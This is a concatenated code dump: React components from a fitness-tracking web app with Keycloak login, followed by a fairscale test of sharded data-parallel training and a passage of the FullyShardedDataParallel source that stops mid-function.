setSetId([]); } //create and add new set of workouts to the list function addToList(e) { e.preventDefault(); const newSet = ({ exercise: { "id": exerciseinput.id }, exercise_repetitions: parseInt(setinput.current.value) }); setExerciseSetList([...exerciseSetList, { exercise: exerciseinput.name, exercise_repetitions: parseInt(setinput.current.value) }]); createNewSet(newSet); } //create new workout API request async function createNewSet(newSet) { try { const id = await createSet(newSet, token); setSetId([...setId, { 'id': id }]); } catch (error) { console.error(error.message); } } return ( <Modal {...props} size="lg" aria-labelledby="contained-modal-title-vcenter" centered> <Modal.Header> <Modal.Title id="contained-modal-title-vcenter"> <h3>Update Workout</h3> </Modal.Title> </Modal.Header> <Modal.Body> <Card.Body> <Form onSubmit={onSubmitClicked}> <Form.Group as={Row}> <Form.Label column sm="2">Id:</Form.Label> <Col sm="10"> <Form.Control plaintext readOnly defaultValue={workout.id} /> </Col> </Form.Group> <Form.Group> <Form.Label>Workout Name</Form.Label> <Form.Control type="text" defaultValue={workout.name} onChange={e => setField('name', e.target.value)} isInvalid={!!errors.name} /> <Form.Control.Feedback type='invalid'> {errors.name} </Form.Control.Feedback> </Form.Group> <Form.Group> <Form.Label>Workout Type</Form.Label> <Form.Control type="text" defaultValue={workout.type} onChange={e => setField('type', e.target.value)} isInvalid={!!errors.type} /> <Form.Control.Feedback type='invalid'> {errors.type} </Form.Control.Feedback> </Form.Group> <Form.Group> <Form.Label>Selected Exercises:</Form.Label> <br></br> {exerciseSetList.map(set => <p>{set.exercise} (Repetitions: {set.exercise_repetitions})</p> )} </Form.Group> <Button type="submit">Submit</Button> </Form> <Form onSubmit={addToList}> <Card className="set-card"> <Card.Body> <Form.Row> <Form.Group as={Col}> <Form.Label>Sets</Form.Label> <Form.Control type="text" placeholder="10" required ref={setinput} /> </Form.Group> <Form.Group as={Col} > <Form.Label>Exercises</Form.Label> <Form.Control onChange={(e) => setExerciseInput(exercises[e.target.value])} as="select" className="mr-sm-2" custom required> {exercises.length !== 0 && exercises.map((exercise, index) => <option key={exercise.id} value={index}> {exercise.id}: {exercise.name} </option>)} </Form.Control> </Form.Group> <Form.Group as={Col}> <Button style={{ margin: '2em 0' }} type="submit">Add Exercise</Button> </Form.Group> </Form.Row> </Card.Body> </Card> </Form> </Card.Body> </Modal.Body> <Modal.Footer> <Button onClick={closeWindow}>Close</Button> </Modal.Footer> </Modal> ); }; export default UpdateWorkout; <file_sep>import WorkoutCard from "./WorkoutCard"; import { useState, useEffect } from 'react' import { Form, FormControl } from "react-bootstrap"; function WorkoutList(props) { const [workouts, setWorkouts] = useState([]); const [isLoading, setIsLoading] = useState(true); useEffect(() => { geData() }, [props]); async function geData() { try { const item = await props.workouts; setWorkouts(item); setIsLoading(false); } catch (error) { console.error(error.message); } } function onTypeChanged(e) { let filtered = workouts.filter(function (item) { return item.type.toLowerCase().search( e.target.value.toLowerCase()) !== -1; }); setWorkouts(filtered); if (e.target.value === "") { geData() } } return ( <div> <div className="nav justify-content-center"> <Form inline > <FormControl type="text" placeholder="Search" className="mr-sm-2 search-bar" onChange={onTypeChanged} /> </Form> </div> <ul> {isLoading && <p>loading</p>} {workouts.length !== 0 && workouts.map((workout, index) => <WorkoutCard key={index} workout={workout} />)} </ul> </div> ); }; export default WorkoutList; <file_sep>import { useEffect, useState } from 'react'; import { getUserStorage } from '../../utils/userStorage'; import { Button, Card, Row, Col, ButtonGroup, Accordion, ProgressBar } from "react-bootstrap"; import { getGoalData, getWorkoutData } from '../../utils/goalsAPI'; import { ShowWorkouts } from './ShowWorkouts'; import './GetGoals.css'; function GetGoals(props) { const { token, tokenParsed } = getUserStorage('ra_session') const [goals, setGoals] = useState([]); const [workout, setWorkout] = useState([]); const [showModal, setShowModal] = useState(false); const addedGoals = props.addedGoals; //get workout data and show in modal const openModal = (goal, index) => { getWorkoutData(token, goal).then(data => { if (data !== undefined) { setWorkout(data); setShowModal(Prev => !Prev) } }) } //get goal data useEffect(() => { if (tokenParsed) { getGoalData(token, tokenParsed).then(data => { setGoals(data) }) } }, [token, addedGoals]); return ( <div> {goals.map((goal, index) => ( <Accordion defaultActiveKey="0"> <Card> <Accordion.Toggle as={Card.Header} eventKey="1"> <Row> <Col> <p id="endTime">Goal end date: {goal && goal.end_date}</p> </Col> <Col> <p id="progress">Progress: </p> <ProgressBar now={35} /> </Col> <Col> <ButtonGroup className="mb-2 mr-2" aria-label="Show details"> <Button id="detailButton" type="button" onClick={e => openModal(goal, index)}>Show details</Button> <ShowWorkouts showModal={showModal} setShowModal={setShowModal} key={index} workout={workout} /> </ButtonGroup> </Col> </Row> </Accordion.Toggle> </Card> </Accordion> ))} </div> ) } export default GetGoals<file_sep>import { useEffect, useState } from 'react'; function Clock() { let date = new Date(); const [time, setTime] = useState(""); useEffect(() => { const interval = setInterval(() => { setTime( new Intl.DateTimeFormat('en-GB', { dateStyle: 'full', timeStyle: 'medium' }).format(date)); }, 1000); return () => clearInterval(interval); }, [date]) return ( <div> <h4>{time}</h4> </div> ) } export default Clock <file_sep>import { Card } from "react-bootstrap"; import ExerciseCard from "../Exercise/ExerciseCard"; import { useState, useEffect } from "react"; import { getSetsForWorkout } from "../../utils/workoutAPI"; import { getExerciseById } from "../../utils/exerciseAPI"; import {getUserStorage} from '../../utils/userStorage'; function WorkoutDetails(props) { const currentWorkout = props.workout; const [sets, setSets] = useState([]); const [exerciseIds, setExerciseIds] = useState([]); const [repetitions, setRepetitions] = useState([]); const [exercises, setExercises] = useState([]); const {token} = getUserStorage('ra_session') // Get sets of the workout useEffect(() => { async function fetchSetData() { try { const item = await getSetsForWorkout(currentWorkout, token); return item; } catch (error) { console.error(error.message); } } fetchSetData().then(setsdata => { setSets(setsdata); }) }, [token, currentWorkout]); // get repetitions and exercise id's useEffect(() => { const repetition = []; const id = []; sets.map(item => { repetition.push(item.exercise_repetitions) id.push(item.exercise) }) setRepetitions(repetition); setExerciseIds(id); }, [currentWorkout, sets]); //get ecersice by id useEffect(() => { async function fetchExersiseData(exerciseId) { try { const item = await getExerciseById(exerciseId, token); setExercises(oldArray => [...oldArray, item]); } catch (error) { console.error(error.message); } } if (exercises.length == 0) { exerciseIds.map(item => { fetchExersiseData(item); }) } }, [repetitions, exerciseIds, sets]); return ( <Card.Body> <ul> {exercises.length == 0 && <p>No exercises included to this workout</p>} {exercises.map((exercise, i) => <div key={i}> <p className="repetitions-text">Repetitions: {repetitions[i]}</p> <ExerciseCard exercise={exercise} /> </div> )} </ul> </Card.Body> ); }; export default WorkoutDetails; <file_sep>import { Button, Card, Row, Col, ButtonGroup } from "react-bootstrap"; import { useState } from "react"; import ExerciseDetail from "./ExerciseDetail"; function ExerciseCard({exercise}, props) { const [modalExerciseDetail, setModalExerciseDetail] = useState(false); const [currentexercise, setCurrentExercise] = useState(exercise); return ( <Card> <Card.Body className="exercise-card-body"> <Row> <Col> <p>Exercise: {exercise.name}</p> </Col> <Col> <p>Muscle group: {exercise.target_muscle_group}</p> </Col> <Col> <ButtonGroup className="mb-2 mr-2" aria-label="Show details"> <Button type="button" onClick={() => setModalExerciseDetail(true)}>Show details</Button> <ExerciseDetail show={modalExerciseDetail} onHide={() => setModalExerciseDetail(false)} currentexercise={currentexercise}/> </ButtonGroup> </Col> </Row> </Card.Body> </Card> ); }; export default ExerciseCard;<file_sep>import ProfileForm from '../components/ProfileForm'; function ProfilePage() { return ( <div> <br /> <ProfileForm /> </div> ); } export default ProfilePage; <file_sep>import React, { useState } from "react"; import { useEffect } from 'react'; import { Redirect, useHistory } from 'react-router-dom'; import Keycloak from 'keycloak-js'; import { setUserStorage, cleareUserStorage } from '../utils/userStorage'; function KeycloakConnection() { const [isAuthenticated, setIsAuthenticated] = useState(false); const [keycloak, setKeycloak] = useState({}); const url = 'https://me-fit-app.herokuapp.com/api/v1/profiles/'; const history = useHistory(); useEffect(() => { if (!isAuthenticated) { const keycloak = Keycloak('/keycloak.json'); keycloak.init({ onLoad: 'login-required' }).then(() => { // setIsAuthenticated(true); setKeycloak(keycloak); }) } }, [isAuthenticated]); function handleLoginComplete(keycloak) { let token = keycloak.token; let tokenParsed = keycloak.tokenParsed; console.log(token); console.log(tokenParsed); setUserStorage('ra_session', { token, tokenParsed }); getProfileData(keycloak.tokenParsed.sub); } async function getProfileData(id) { try { let response = await fetch(url + id, { method: 'GET', headers: { 'Accept': 'application/json', 'Content-Type': 'application/json', 'Authorization': `Bearer ${keycloak.token}` }, }); if (response.status === 404) { history.replace('/profile'); } else if (response.status === 200) { history.replace('/dashboard'); } else { alert("Token error"); } } catch (error) { console.log("error is: " + error); } } if (keycloak.token) { if (!isAuthenticated) { handleLoginComplete(keycloak); setIsAuthenticated(true); } return ( <div> <button onClick={() => { keycloak.logout(); cleareUserStorage(); }}>Logout</button> </div> ) } else { return ( <div></div> ) } }; export default KeycloakConnection;
ace22e76fbd2a80bf6d14f0a4163d75be1e35264
[ "JavaScript" ]
17
JavaScript
paularintaharri/MefitApp-frontend
ba582a4b9dece367686dfbd6d2ee75c77b5367f1
8bf878946e24d2519912f849ed0dffcf7dc605d3
refs/heads/master
<repo_name>minhokimm202101/fairscale<file_sep>/tests/nn/data_parallel/test_fsdp_uneven.py # Copyright (c) Facebook, Inc. and its affiliates. All rights reserved. # # This source code is licensed under the BSD license found in the # LICENSE file in the root directory of this source tree. # pylint: disable=missing-module-docstring # pylint: disable=missing-class-docstring # pylint: disable=missing-function-docstring """ Test FSDP with uneven parameter shards. """ import tempfile import pytest import torch from torch import Tensor import torch.multiprocessing as mp from torch.nn import Linear, Sequential from torch.optim import SGD from fairscale.nn.data_parallel import FullyShardedDataParallel as FSDP from fairscale.nn.data_parallel.fully_sharded_data_parallel import TrainingState from fairscale.utils.testing import dist_init, skip_if_single_gpu, teardown, torch_version def _test_func(rank, world_size, model, fsdp_config, tempfile_name, unused, test_case): result = dist_init(rank, world_size, tempfile_name, unused) assert result, "Dist init failed" my_lr = 0.1 if test_case["assert_ref_out"]: with torch.no_grad(): # Compute one iteration local output. weight = model.weight.T.clone().cuda() v = torch.Tensor(test_case["inputs"][0][rank]).cuda() ref_forward_output_my_rank = torch.matmul(v, weight) # Compute one iteration global weight update. v = torch.Tensor(test_case["inputs"][0][:world_size]).cuda() grad = v.sum(0).repeat(weight.shape[0], 1).div(world_size) ref_weight_out = weight - grad.T * my_lr model.to("cuda") assert isinstance(fsdp_config, dict), str(fsdp_config) model = FSDP(model, **fsdp_config) optim = SGD(model.parameters(), lr=my_lr) inputs = test_case["inputs"] assert len(inputs) == 1 or not test_case["assert_ref_out"] assert len(inputs[0]) >= world_size for in_data in inputs: in_data = Tensor(in_data[rank]).cuda() out = model(in_data) out.sum().backward() optim.step() optim.zero_grad() if test_case["assert_ref_out"]: with model.summon_full_params(): weight_out = model.module.weight.data.T.clone() # make sure we can do more fwd/bwd loss = model(in_data) loss.sum().backward() if test_case["assert_ref_out"]: torch.testing.assert_allclose(ref_forward_output_my_rank, out) torch.testing.assert_allclose(ref_weight_out, weight_out) model.assert_state(TrainingState.IDLE) teardown() @skip_if_single_gpu @pytest.mark.parametrize("test_case", [{"inputs": [torch.rand(8, 3)], "assert_ref_out": True}]) @pytest.mark.parametrize( "fsdp_config", [{}, {"flatten_parameters": False}], ) @pytest.mark.parametrize("world_size", list(range(2, 9))) def test_one_iteration(world_size, test_case, fsdp_config): """Test FSDP with uneven divide of parameter shards.""" if torch_version() < (1, 6, 0): pytest.skip("older pytorch doesn't support reduce_scatter in gloo backend") if world_size > torch.cuda.device_count(): pytest.skip("Not enough GPUs.") temp_file_name = tempfile.mkstemp()[1] unused = tempfile.mkstemp()[1] # TODO (Min): we may want to extend this to a simple 2 layer model so that it covers # more cases in FSDP. Also, assert_ref_out can be extended to multiple # iterations. This could be a good bootcamp task. I should file a github # issue once we merge. model = Linear(3, 3, bias=False) mp.spawn( _test_func, args=(world_size, model, fsdp_config, temp_file_name, unused, test_case), nprocs=world_size, join=True, ) @skip_if_single_gpu @pytest.mark.parametrize("test_case", [{"inputs": [torch.rand(8, 3), torch.rand(8, 3)], "assert_ref_out": False}]) @pytest.mark.parametrize("fsdp_config", [{}, {"flatten_parameters": False}]) @pytest.mark.parametrize("world_size", list(range(2, 9))) def test_smaller_than_world_size(world_size, test_case, fsdp_config): """Test FSDP with uneven divide of parameter shards.""" if torch_version() < (1, 6, 0): pytest.skip("older pytorch doesn't support reduce_scatter in gloo backend") if world_size > torch.cuda.device_count(): pytest.skip("Not enough GPUs.") temp_file_name = tempfile.mkstemp()[1] unused = tempfile.mkstemp()[1] model = Sequential( Linear(3, 3, bias=False), Linear(3, 4, bias=False), Linear(4, 5, bias=False), Linear(5, 4, bias=False), Linear(4, 3, bias=False), Linear(3, 1, bias=False), Linear(1, 1, bias=False), # param here is smaller than world_size if unflattened. ) mp.spawn( _test_func, args=(world_size, model, fsdp_config, temp_file_name, unused, test_case), nprocs=world_size, join=True, ) <file_sep>/fairscale/nn/data_parallel/fully_sharded_data_parallel.py # Copyright (c) Facebook, Inc. and its affiliates. # # This source code is licensed under the BSD license found in the # LICENSE file in the root directory of this source tree. import contextlib import copy from enum import Enum, auto import functools from math import inf from typing import TYPE_CHECKING, Any, Dict, Generator, List, NamedTuple, Optional, Tuple, Union import torch from torch.autograd import Variable import torch.distributed as dist from torch.distributed import ProcessGroup import torch.nn as nn from torch.nn import Parameter import torch.nn.functional as F from fairscale.nn.misc import FlattenParamsWrapper from fairscale.optim.utils import calc_grad_norm from fairscale.utils.containers import ( apply_to_tensors, pack_kwargs, split_non_tensors, unpack_kwargs, unpack_non_tensors, ) from fairscale.utils.parallel import chunk_and_pad, validate_process_group from fairscale.utils.reduce_scatter_bucketer import ReduceScatterBucketer if TYPE_CHECKING: from collections import OrderedDict # noqa: F401 class TrainingState(Enum): """ Simple enum to indicate what state FSDP is in. Used for asserting to make sure APIs are called in the correct state. TODO (Min): It would be nice to capture the stepping state as well. Maybe we can use the model.zero_grad() call, but not sure if it is called if optim.zero_grad() is used instead. It would be nice to have clear state transition be explicit like: zero_grad -> fwd -> bwd -> optionally accum grad by repeating fwd/bwd -> stepping -> loop back to zero_grad """ IDLE = auto() FORWARD = auto() BACKWARD = auto() SUMMON_FULL_PARAMS = auto() class FullyShardedDataParallel(nn.Module): """ A wrapper for sharding Module parameters across data parallel workers. This is inspired by `Xu et al.`_ as well as the ZeRO Stage 3 from DeepSpeed_. .. _`Xu et al.`: https://arxiv.org/abs/2004.13336 .. _DeepSpeed: https://www.deepspeed.ai/ Usage:: torch.cuda.set_device(device_id) sharded_module = FullyShardedDataParallel(my_module) optim = torch.optim.Adam(sharded_module.parameters(), lr=0.0001) x = sharded_module(x, y=3, z=torch.Tensor([1])) loss = x.sum() loss.backward() optim.step() It is also possible to shard individual layers separately and have an outer wrapper handle any leftover parameters. This can be helpful to further reduce GPU memory usage, reduce system memory usage when initializing large models and to improve training speed by overlapping the all-gather step across the forward pass. For example:: sharded_model = FullyShardedDataParallel( nn.Sequential( # doesn't have to be nn.Sequential nn.Linear(5, 100), FullyShardedDataParallel(nn.Linear(100, 100)), FullyShardedDataParallel(nn.Linear(100, 100)), nn.Linear(100, 5), ) ) .. warning:: The optimizer must be initialized *after* the module has been wrapped, since FSDP will shard parameters in-place and this will break any previously initialized optimizers. Args: module (nn.Module): module to checkpoint process_group (Optional): process group for sharding reshard_after_forward (bool, Optional): if ``True``, reshard parameters after the forward pass. This saves memory but slows training. This is only relevant when resharding individual layers. mixed_precision (bool, Optional): if ``True``, inputs, activations and gradients will be kept in FP16; computation and communication will occur in FP16; and a (sharded) master copy of the model weights will be maintained in FP32. fp32_reduce_scatter (bool, Optional): if ``True``, then reduce-scatter gradients in FP32. This is only relevant when *``mixed_precision``* is ``True``. flatten_parameters (bool, Optional): if ``True``, flatten parameters into a single contiguous tensor, which improves training speed. cpu_offload (bool, Optional): if ``True``, offload FP32 params to CPU. This is only relevant when *``mixed_precision``* is ``True``. compute_dtype (torch.dtype, Optional): dtype for full parameters for computation. This defaults to ``torch.float32`` unless *``mixed_precision``* is set, in which case it defaults to ``torch.float16``. move_grads_to_cpu (bool, Optional): move gradient shard to CPU after reduction. This is useful when combined with CPU-based optimizers. It defaults to the value of *``cpu_offload``*. bucket_cap_mb (int, Optional): FSDP will bucket parameters so that gradient reduction can potentially overlap with backward computation. bucket_cap_mb controls the bucket size in MegaBytes (MB). Buckets are sub-divided based on world_size, so the max shard size is roughly ``bucket_cap_mb / world_size``. Values <= 0 disable bucketing. Default: 25. """ def __init__( self, module: nn.Module, process_group: Optional[ProcessGroup] = None, reshard_after_forward: bool = True, mixed_precision: bool = False, fp32_reduce_scatter: bool = False, flatten_parameters: bool = True, cpu_offload: bool = False, compute_dtype: Optional[torch.dtype] = None, move_grads_to_cpu: Optional[bool] = None, bucket_cap_mb: int = 25, ): super().__init__() self.process_group = process_group or dist.new_group() self.rank = self.process_group.rank() self.world_size = self.process_group.size() self.reshard_after_forward = reshard_after_forward self.mixed_precision = mixed_precision self.fp32_reduce_scatter = fp32_reduce_scatter self.flatten_parameters = flatten_parameters self.cpu_offload = cpu_offload self.compute_dtype = compute_dtype or (torch.float16 if mixed_precision else torch.float32) self.move_grads_to_cpu = cpu_offload if move_grads_to_cpu is None else move_grads_to_cpu self.bucket_cap_mb = bucket_cap_mb if self.fp32_reduce_scatter and not self.mixed_precision: raise ValueError("fp32_reduce_scatter requires mixed_precision=True") if self.cpu_offload and not self.mixed_precision: raise ValueError("cpu_offload requires mixed_precision=True") compute_device = torch.device("cuda") if self.cpu_offload else next(module.parameters()).device validate_process_group(compute_device, self.process_group) # Only handle params which are not already sharded. This enables # sharding individual layers of a Module, with an outer wrapper to # shard any leftover parameters. params = list(p for p in module.parameters() if not hasattr(p, "_is_sharded")) if self.flatten_parameters and len(params) > 0: self.module: nn.Module = FlattenParamsWrapper(module, param_list=params) del module # free original module in case it helps garbage collection self.params = [self.module.flat_param] else: self.module = module self.params = params # Shard module parameters in place self._shard_parameters_() # Make sure all parameters are sharded. for n, p in self.named_parameters(): assert hasattr(p, "_is_sharded"), f"found unsharded parameter: {n} ; {p.size()}" self._reset_lazy_init() # Flag to indicate if we require gradient reduction in the backward # pass. This will be False when inside the no_sync context manager. self.require_backward_grad_sync: bool = True self.training_state = TrainingState.IDLE @torch.no_grad() def _all_buffers_to(self, device: Optional[torch.device] = None, dtype: Optional[torch.dtype] = None) -> None: """Move all buffers to the specified device and dtype, recursively.""" cast_fn = functools.partial(cast_buffers_, device=device, dtype=dtype) self.apply(cast_fn) @property def params_with_grad(self) -> List[Parameter]: """[p for p in self.parameters() if p.grad is not None] """ return [p for p in self.parameters() if p.grad is not None] @torch.no_grad() def clip_grad_norm_( self, max_norm: Union[float, int], norm_type: Union[float, int] = 2.0, # filter_params_fn: Callable[[Any], Any] = None, ) -> torch.Tensor: """ Clip all gradients at this point in time. The norm is computed over all gradients together, as if they were concatenated into a single vector. Gradients are modified in-place. Args: max_norm (float or int): max norm of the gradients norm_type (float or int): type of the used p-norm. Can be ``'inf'`` for infinity norm. Returns: Total norm of the parameters (viewed as a single vector). .. note:: This is analogous to `torch.nn.utils.clip_grad_norm_` but handles the partitioning and multiple devices per rank under the hood. The default torch util is not applicable here, because each rank only has a partial view of all the grads in the model, so calling it in the OSS context would lead to different scaling being applied per subset of model parameters. .. warning:: This needs to be called on all ranks, since synchronization primitives will be used. """ assert self._is_root, "clip_grad_norm should only be called on the root (parent) instance" assert self.training_state == TrainingState.IDLE max_norm = float(max_norm) norm_type = float(norm_type) params_with_grad = self.params_with_grad if not self.children_share_process_group: raise NotImplementedError( "clip_grad_norm requires that all params share one process group. clip_grad_by_value_ should work" ) # Computes the max norm for this shard's gradients and sync's across workers local_norm = calc_grad_norm(params_with_grad, norm_type).cuda() if norm_type == inf: total_norm = local_norm dist.all_reduce(total_norm, op=torch.distributed.ReduceOp.MAX, group=self.process_group) else: total_norm = local_norm ** norm_type dist.all_reduce(total_norm, group=self.process_group) total_norm = total_norm ** (1.0 / norm_type) if self.move_grads_to_cpu: total_norm = total_norm.cpu() # Now multiply each grad by (max_norm/total_norm), same as torch 1.7 https://tinyurl.com/3wtxhhqq) clip_coef = torch.tensor(max_norm, dtype=total_norm.dtype, device=total_norm.device) / (total_norm + 1e-6) if clip_coef < 1: # multiply by clip_coef for p in params_with_grad: p.grad.detach().mul_(clip_coef.to(p.grad.device)) # type: ignore return total_norm @torch.no_grad() def _shard_parameters_(self) -> None: """ At initialization we wrap a module with full parameters and shard the parameters in-place. Sharding is implemented by viewing each parameter as a 1D Tensor and retaining only a single slice, where the slice size is determined by the number of data parallel workers. Wrapping modules with many small parameters (or with a very large data parallel world size) will result in many small parameter shards and slow performance. In this case it's better to set *``flatten_parameters``* to ``True``, so that all of the small parameters in the module are combined into a single contiguous Tensor and sharded once. After this initial sharding is complete, the user can initialize a ``torch.optim.Optimizer`` in the usual way, i.e.:: .. code-block:: python optim = torch.optim.Adam(sharded_module.parameters(), lr=0.0001) The optimizer will see only a single slice of parameters and will thus allocate less memory for optimizer state, avoiding redundancy across data parallel workers. """ for p in self.params: assert not hasattr(p, "_is_sharded") assert p.is_floating_point() if self.mixed_precision: assert p.dtype == torch.float32 # If world_size is 1, then we all-reduce grads instead of sharding. p._is_sharded = self.world_size > 1 p._orig_size = p.data.size() if not p._is_sharded: continue p._is_sharded = True # Shard using torch.chunk to match all-gather/reduce-scatter. chunks = list(torch.flatten(p.data).chunk(self.world_size)) while len(chunks) < self.world_size: chunks.append(chunks[0].new_empty(0)) # Determine number of padding elements. num_to_pad = chunks[0].numel() - chunks[self.rank].numel() assert num_to_pad >= 0, num_to_pad # Replace p.data with the relevant shard. orig_data = p.data p.data = chunks[self.rank].clone() # clone since we free storage below if num_to_pad > 0: p.data = F.pad(p.data, [0, num_to_pad]) free_storage_(orig_data) def extra_repr(self) -> str: return ( f"rank={self.rank}, world_size={self.world_size}, " f"reshard_after_forward={self.reshard_after_forward}, " f"mixed_precision={self.mixed_precision}, " f"fp32_reduce_scatter={self.fp32_reduce_scatter}, " f"flatten_parameters={self.flatten_parameters}, " f"cpu_offload={self.cpu_offload}, " f"compute_dtype={self.compute_dtype}, " f"move_grads_to_cpu={self.move_grads_to_cpu}" ) def __getattr__(self, name: str) -> Any: """Forward missing attributes to wrapped module.""" try: return super().__getattr__(name) # defer to nn.Module's logic except AttributeError: return getattr(self.module, name) def __getstate__(self) -> Dict[str, str]: """Serialize the state of the current FullyShardedDataParallel instance. Some properties are not serializable (e.g., process groups, streams), so we remove them and try to reconstruct them in :func:`__setstate__`. """ state = copy.copy(self.__dict__) state["is_sharded"] = [p._is_sharded for p in self.params] state["orig_sizes"] = [p._orig_size for p in self.params] if state["process_group"] is not None: state["process_group"] = "MISSING" # process_group isn't pickleable self._reset_lazy_init() return state def __setstate__(self, state: Dict[str, Any]) -> None: """Intercept state setting and perform needed changes on params.""" super().__setstate__(state) def fixup(p: Parameter, is_sharded: bool, size: torch.Size) -> Parameter: assert isinstance(p, Parameter) p.data = p.data.clone() # move tensors out of shared memory p._is_sharded = is_sharded p._orig_size = size return p self.params = [ fixup(p, is_sharded, size) for p, is_sharded, size in zip(self.params, self.is_sharded, self.orig_sizes) ] del self.is_sharded del self.orig_sizes self._reset_lazy_init() # TODO (Min): figuring out how to do typing for this overloaded function. def state_dict(self, *args, **kwargs): # type: ignore """ Returns the whole (unsharded) state of the module. Parameters are not sharded, so the resulting state_dict can be loaded directly by the wrapped Module without any sharding-specific logic. Returned tensors will always be typed float32. .. warning:: This needs to be called on all ranks, since synchronization primitives will be used. """ with self.summon_full_params(): # Buffers dtype stays consistent with parameters. self._all_buffers_to(dtype=torch.float32) state_dict = self.module.state_dict(*args, **kwargs) # We copy the state_dict since full param will be freed after # we exit the summon_full_params() context. for key in state_dict.keys(): state_dict[key] = state_dict[key].clone() # In case we are in mixed precision, restore buffers back to fp16. self._all_buffers_to(dtype=self.compute_dtype) return state_dict # TODO (Min): figuring out how to do typing for this overloaded function. def local_state_dict(self, *args, **kwargs): # type: ignore """ Returns the local (sharded) state of the module. Parameters are sharded, so the resulting state_dict can only be loaded after the Module has been wrapped with FullyShardedDataParallel. """ torch.cuda.synchronize() self._lazy_init() if self.flatten_parameters: return self.module.flat_state_dict(*args, **kwargs) # type: ignore else: return self.module.state_dict(*args, **kwargs) def load_state_dict( self, state_dict: Union[Dict[str, torch.Tensor], "OrderedDict[str, torch.Tensor]"], strict: bool = True ) -> NamedTuple: """ Load a whole (unsharded) state_dict. .. warning:: This needs to be called on all ranks, since synchronization primitives will be used. """ with self.summon_full_params(): output = self.module.load_state_dict(state_dict, strict) return output def load_local_state_dict( self, state_dict: Union[Dict[str, torch.Tensor], "OrderedDict[str, torch.Tensor]"], strict: bool = True ) -> NamedTuple: """Load a local (sharded) state_dict.""" torch.cuda.synchronize() return self.module.load_state_dict(state_dict, strict) @contextlib.contextmanager def no_sync(self) -> Generator: """ A context manager to disable gradient synchronizations across DDP processes. Within this context, gradients will be accumulated on module variables, which will later be synchronized in the first forward-backward pass exiting the context. """ self._lazy_init() assert self._is_root, "no_sync on inner FSDP is not supported" self.assert_state(TrainingState.IDLE) # This instance may wrap other FullyShardedDataParallel instances and we # need to set all of them to accumulate gradients. old_flags = [] for m in self.modules(): # includes self if isinstance(m, FullyShardedDataParallel): old_flags.append((m, m.require_backward_grad_sync)) m.require_backward_grad_sync = False try: yield finally: for m, old_flag in old_flags: m.require_backward_grad_sync = old_flag @contextlib.contextmanager def summon_full_params(self) -> Generator: """ A context manager to expose full params for the underlying model. Can be useful *after* forward/backward for a model to get the params for additional processing or checking. This can be used on inner FSDPs. This can *not* be used within a forward or backward pass. Nor can forward and backward be started from within this context. """ torch.cuda.synchronize() self._lazy_init() self.assert_state(TrainingState.IDLE) # Set the state so that we assert when trying to go into # forward/backward. self.training_state = TrainingState.SUMMON_FULL_PARAMS self._rebuild_full_params() try: yield finally: self._free_full_params() self._use_fp32_param_shard() self.training_state = TrainingState.IDLE def _reset_lazy_init(self) -> None: """Reset instance so :func:`_lazy_init` will run on the next forward.""" self._is_root: Optional[bool] = None self._streams: Dict[str, torch.cuda.Stream] = {} self._reducer: Optional[ReduceScatterBucketer] = None def _lazy_init(self) -> None: """Initialization steps that should happen lazily, typically right before the first forward pass.""" # Initialize param attributes lazily, in case the param's dtype or # device changes after __init__. for p in self.params: self._init_param_attributes(p) # Initialize _is_root and setup streams. These steps would ideally # happen in __init__, but _is_root can only be determined after the # entire model hierarchy is setup, thus we run it lazily. if self._is_root is None: self._set_is_root() self._setup_streams() if self.cpu_offload: # Buffers stay on GPU, and don't get sharded self._all_buffers_to(device=torch.device("cuda"), dtype=self.compute_dtype) else: self._all_buffers_to(dtype=self.compute_dtype) if self._is_root: # Don't free the full params for the outer-most (root) instance, # since those params will be needed immediately after for the # backward pass. self.reshard_after_forward = False # Due to the use of streams, we need to make sure the previous # ``optim.step()`` is done before we all-gather parameters. self._wait_for_previous_optim_step() @torch.no_grad() def _init_param_attributes(self, p: Parameter) -> None: """ We manage several attributes on each Parameter instance. The first two are set by :func:`_shard_parameters_`: ``_is_sharded``: ``True`` if the Parameter is sharded or ``False`` if the Parameter is intentionally not sharded (in which case we will all-reduce grads for this param). ``_orig_size``: the size of the original Parameter (before sharding) The remaining attributes are set here: ``_fp32_shard``: a single shard of the parameters in full precision (typically FP32, but this is dependent on the dtype of the model as it's passed in by the user). This can be on CPU or GPU depending on the value of *``cpu_offload``*. ``_fp16_shard``: if *``mixed_precision``* is ``True``, this will be a single shard of the parameters in FP16, used for all-gather. ``_full_param_padded``: the full weight (padded to be evenly divisible by ``world_size``), used for computation in the forward and backward pass. This will be resized in place and only materialized (via all-gather) as needed. """ assert hasattr(p, "_is_sharded") and hasattr(p, "_orig_size") if hasattr(p, "_fp32_shard"): return # Compute device defaults to CUDA when *cpu_offload* is enabled, or the # param's current device otherwise (could be CPU). compute_device = torch.device("cuda") if self.cpu_offload else p.device # A single shard of the parameters in full precision. p._fp32_shard = p.data if self.mixed_precision: assert p._fp32_shard.dtype == torch.float32 if self.cpu_offload: assert p._fp32_shard.device == torch.device("cpu") # If we plan to keep the FP32 parameters on CPU, then pinning # memory allows us to later use non-blocking transfers when moving # the FP32 param shard to compute_device. p._fp32_shard = p._fp32_shard.pin_memory() p.data = p._fp32_shard # In mixed precision mode, we maintain a reduced precision # (typically FP16) parameter shard on compute_device for performing # the computation in the forward/backward pass. We resize the # storage to size 0 at init (here) and re-materialize (by copying # from _fp32_shard) as needed. p._fp16_shard = torch.zeros_like(p._fp32_shard, device=compute_device, dtype=self.compute_dtype) free_storage_(p._fp16_shard) else: p._fp16_shard = None # use _fp32_shard # We also maintain a full-sized parameter of type self.compute_dtype # (FP16 for mixed_precision or FP32 otherwise). We resize the # storage to size 0 at init (here) and only materialize as needed. The # storage may contain padding elements so that it is evenly divisible by # world_size, although these padding elements will be removed before the # relevant computation. if p._is_sharded: p._full_param_padded = torch.zeros( p.data.numel() * self.world_size, device=compute_device, dtype=self.compute_dtype ) free_storage_(p._full_param_padded) if self.move_grads_to_cpu: # We can optionally move the grad shard to CPU during the backward # pass. In this case, it's important to pre-allocate the CPU grad # shard in pinned memory so that we can do a non-blocking transfer. p._cpu_grad = torch.zeros_like(p.data, device="cpu").pin_memory() def _set_is_root(self) -> None: """If ``True``, implies that no other :class:`FullyShardedDataParallel` instance wraps this one. Called once by :func:`_lazy_init`. Also sets self.children_share_process_group = True if all child instances share the same process group. If some child instances use a different process group, self.clip_grad_norm_ will raise an error. """ if self._is_root is not None: return # No FullyShardedDataParallel instance wraps this, else _is_root would be set to False self._is_root = True # As the root, we now set all children instances to False. self.children_share_process_group = True for n, m in self.named_modules(): if n != "" and isinstance(m, 